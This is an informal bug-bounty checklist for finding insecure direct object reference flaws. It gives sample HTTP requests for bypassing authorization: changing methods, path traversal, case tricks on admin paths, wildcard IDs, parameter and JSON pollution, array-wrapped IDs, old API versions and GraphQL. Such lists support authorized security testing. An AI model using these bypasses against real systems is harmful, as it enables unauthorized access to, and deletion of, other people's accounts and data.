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Base Steps:

1. Create two accounts if possible or else enumerate users first. 
2. Check if the endpoint is private or public and does it contains any kind of id param.
3. Try changing the param value to some other user and see if does anything to their account.
4. Done !!

[ ] [ ] image profilie [ ] delete acount [ ] infromation acount [ ] VIEW & DELETE & Create api_key [ ] allows to read any comment [ ] change price [ ] chnage the coin from dollar to uaro [ ] Try decode the ID, if the ID encoded using md5,base64,etc

GET /GetUser/dmljdGltQG1haWwuY29t
[...]

[ ] change HTTP method

GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200

[ ] Try replacing parameter names

Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

Tip: There is a Burp extension called Paramalyzer which will help with this by remembering all the parameters you have passed to a host.

[ ] Path Traversal

POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200

[ ] change request content-type

Content-Type: application/xml ->
Content-Type: application/json

[ ] swap non-numeric with numeric id

GET /file?id=90djbkdbkdbd29dd
GET /file?id=302

[ ] Missing Function Level Acess Control

GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200

[ ]send wildcard instead of an id

GET /api/users/user_id ->
GET /api/users/*

[ ] Never ignore encoded/hashed ID

for hashed ID ,create multiple accounts and understand the ppattern application users to allot an iD

[ ] Google Dorking/public form

search all the endpoints having ID which the search engine may have already indexed

[ ] Bruteforce Hidden HTTP parameters

use tools like arjun , paramminer

[ ] Bypass object level authorization Add parameter onto the endpoit if not present by defualt

GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200

[ ] HTTP Parameter POllution Give mult value for same parameter

GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id

[ ] change file type

GET /user_data/2341        -> 401
GET /user_data/2341.json   -> 200
GET /user_data/2341.xml    -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt    -> 200

[ ] json parameter pollution

{"userid":1234,"userid":2542}

[ ] Wrap the ID with an array in the body

{"userid":123} ->401
{"userid":[123]} ->200

[ ] wrap the id with a json object

{"userid":123} ->401
{"userid":{"userid":123}} ->200

[ ] Test an outdata API version

GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200

[ ] If the website using graphql, try to find IDOR using graphql!

GET /graphql
[...]
GET /graphql.php?query=
[...]